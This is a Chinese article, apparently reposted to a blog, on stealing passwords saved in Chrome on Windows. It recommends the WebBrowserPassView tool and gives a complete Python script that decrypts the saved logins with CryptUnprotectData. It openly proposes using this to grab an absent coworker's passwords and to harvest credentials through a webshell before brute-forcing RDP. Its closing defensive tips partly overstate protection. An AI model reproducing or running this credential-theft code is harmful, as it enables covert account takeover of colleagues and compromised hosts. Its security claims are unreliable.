Chrome浏览器存储密码获取技术研究

原文转自:http://www.jianshu.com/p/2aca61d7cc66

参考文章:https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

在上网过程中用得最得的工具之一就是浏览器,主力浏览器分为IE、Chrome、Firefox以及国内以360为代表的360浏览器(QQ浏览器、猎豹浏览器、百度浏览器),在使用浏览器访问网站时,有的浏览器会自动提示用户是否保存登录的用户名和密码,有的浏览器需要设置自动保存登录密码。这些登录密码对普通用户而言就是一把钥匙,而对于黑客来说,它就是一个突破口,网上求购苹果公司一个内部员工登录帐号和口令高达数十万美元,由此可以看出重要公司的内网(CMS)登录帐号非常重要。

很多用户在访问网站时,为了怕麻烦很多都会选择记住密码。这些密码保护不当极有可能带来安全风险。本文将介绍如何快速获取Windows系统上保存的以Chrome为代表的浏览器密码。它适用场景主要有:

1.同事获取同事的登录密码。同事有事离开计算机,没有锁定屏幕,可以通过浏览器下载一个软件,通过手机拍取软件获取的密码,然后删除软件,清楚痕迹,同事浏览器密码尽在掌握中。

2.对服务器或者个人主机实施渗透时,这些主机有可能保存登录重要资源的密码,当控制主机后,通过后台或者前台直接获取浏览器的密码。

1.1通过webbrowserpassview获取浏览器密码

1.webbrowserpassview简介

webbrowserpassview就其名字就知道它是一款浏览器密码获取工具,webbrowserpassview的使用方法非常简单,只要启动它,经过几秒钟之后,就会看到画面上出现浏览器所记忆的网址、帐号及密码了,它目前一共支持了IE1~IE10、Firefox所有版本、Safari、chrome及opera等主流浏览器。官方网站地址:

http://www.nirsoft.net/utils/web_browser_password.html

软件下载地址:http://www.nirsoft.net/toolsdownload/webbrowserpassview.zip

2.使用webbrowserpassview获取密码

下载webbrowserpassview后直接解压后运行webbrowserpassview.exe即可获取密码,如图1所示。会显示URL、浏览器类型、用户名、密码、创建时间等信息。


图1获取浏览器保存的密码

选择一条记录,双击则显示该条记录的详细信息,如图2所示,可以对记录的信息进行复制操作。可以选中所有的记录,然后保存到本地。


图2获取每条记录的详细信息

1.2编写程序获取Chrome浏览器保存密码

1.关于Chrome浏览器密码存储机制

谷歌浏览器加密后的密钥存储于%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”下的一个SQLite数据库中,这里的APPDATA是由系统或者用户环境变量决定的。那么它是如何加密的呢,通过开源的Chromium,我们来一探究竟:

首先,我们作为用户登录一个网站时,会在表单提交Username以及Password相应的值,Chrome会首先判断此次登录是否是一次成功的登录,部分判断代码如下:

Provisional_save_manager_->SubmitPassed();

if(provisional_save_manager_->HasGeneratedPassword())

UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”,1);

If(provisional_save_manager_->IsNewLogin() &&!provisional_save_manager_->HasGeneratedPassword()){

Delegate_->AddSavePasswordInfoBarIfPermitted(

Provisional_save_manager_.release());

} else{

provisional_save_manager_->Save();

Provisional_save_manager_.reset();

当我们登录成功时,并且使用的是一套新的证书(也就是说是第一次登录该网站),Chrome就会询问我们是否需要记住密码。

那么登录成功后,密码是如何被Chrome存储的呢?

答案在EncryptedString函数,通过调用EncryptString16函数,代码如下:

Bool Encrypt::EncryptString(conststd::string& plaintext,std::string* ciphertext) {

DATA_BLOB input;

Input.pbData =static_cast(plaintext.length());

DATA_BLOB output;

BOOL result =CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);

If (!result)

Return false;

//复制操作

Ciphertext->assign(reinterpret_cast(output.pbData);

LocalFree(output.pbData);

Returntrue;

}

代码最后利用了WidowsAPI函数CryptProtectData(请记住这个函数,因为后面会提到它)来加密。当我们拥有证书时,密码就会被回复给我们使用。在我们得到服务器权限后,证书的问题已经不用考虑了,所以下一步,我们解决如何获得这些密码。

2.编写脚本跑出Chrome浏览器保存的密码

因为考虑到在大多数情况下,并不能远程登录到服务器上执行GUI的程序,所以做个Python脚本跑一下是最佳选择,唯一的缺点是如果WINDOWS不支持PYTHON环境,Python打包成EXE文件的话会比较大。

下面考虑代码部分,因为用户不同所在用户的文件夹就不同,需要知道LOGIN DATA文件的具体路径,所以我们需要python中的os.environ从环境变量中读取LOCALAPPDATA的路径,剩下的路径是谷歌默认生成。

获取LOGINDATA文件的写法为:

google_path = r’ Google\Chrome\UserData\Default\Login Data’

file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)

#Login Data文件可以利用python中的sqlite3库来操作。

conn = sqlite3.connect(file_path)

for row in conn.execute('selectusername_value, password_value, signon_realm from logins'):

#利用Win32crpt.CryptUnprotectData来对通过加密的密码进行解密操作。

cursor= conn.cursor()

cursor.execute('select username_value,password_value, signon_realm from logins')

#接收全部返回结果

for data in cursor.fetchall():

passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)

#利用win32crypt.CryptUnprotectData解密后,通过输出passwd这个元组中内容,可以逐一得到Chrome浏览器存储的密码。

这里我们用到了CryptUnprotectData这个函数,与之对应的是我们上文提到的CryptProtectData,理论上来说CryptProtectData加密的文本内容,都可以通过CryptUnprotectData函数来解密。对其他服务的解密方式,大家可以自行尝试。

3.完整实验脚本

脚本完整代码如下:

#coding:utf8

import os, sys

import sqlite3

import win32crypt

google_path = r'Google\Chrome\UserData\Default\Login Data'

db_file_path =os.path.join(os.environ['LOCALAPPDATA'],google_path)

conn = sqlite3.connect(db_file_path)

cursor = conn.cursor()

cursor.execute('select username_value,password_value, signon_realm from logins')

#接收全部返回结果

for data in cursor.fetchall():

passwd= win32crypt.CryptUnprotectData(data[1],None,None,None,0)

ifpasswd:

print'-------------------------'

printu'[+]用户名: ' + data[0]

printu'[+]密码: ' + passwd[1]

printu'[+]网站URL: ' + data[2]

效果如图3所示。


图3获取chrome密码

当然,在取得服务器webshell的情况下,如果有执行权限但无法提权,可以利用这种方法挖掘密码,进而再利用社工思路对服务器RDP服务密码进行暴力破解。

如果Webshell不能回显,可以用类似getpass一样的方式,导出到文本中。

Python chrome.py > 1.txt

(提示:导出过程中,输出中文可能会报错,建议换成英文导出。)

注意:在用户打开Chrome时,Login Data文件是被上锁的,如果这时想要对其进行读取操作,可以将Login Data文件复制到临时目录进行读取操作。

1.3浏览器密码被获取防范方法

对于浏览器密码被获取的保护方法,笔者认为可以采取以下一些措施:

1.打造专用访问系统

现在计算机性能都很不错,可以在本机搭建虚拟机平台,单独用一台虚拟机来访问重要系统以及重要网站。虚拟机也设置系统访问口令,这样实体机即使未锁屏,同事或者其它人也不能快速获取。专机专用可以防止病毒感染以及帐号被盗风险。

2.使用绿色免安装浏览器

免安装浏览器webbrowserpassview是无法获取的。很多密码获取软件是根据浏览器安装的默认路径去读取配置文件以及数据库来获取,因此使用免安装软件可以避免密码获取。其实最好的办法就是不记录密码。

密码的攻防从来不是绝对的,只有小心谨慎,从技术的角度尽量减少被泄露的风险,从管理的角度防范物理接触和远程访问获取密码,不安全的系统就意味着密码被获取和截取,因此尽量使自己的系统安全可靠。



文/安天365技术研究团队(简书作者)
原文链接:http://www.jianshu.com/p/2aca61d7cc66
著作权归作者所有,转载请联系作者获得授权,并标注“简书作者”。

猜你喜欢

转载自blog.csdn.net/hpp24/article/details/53375385
今日推荐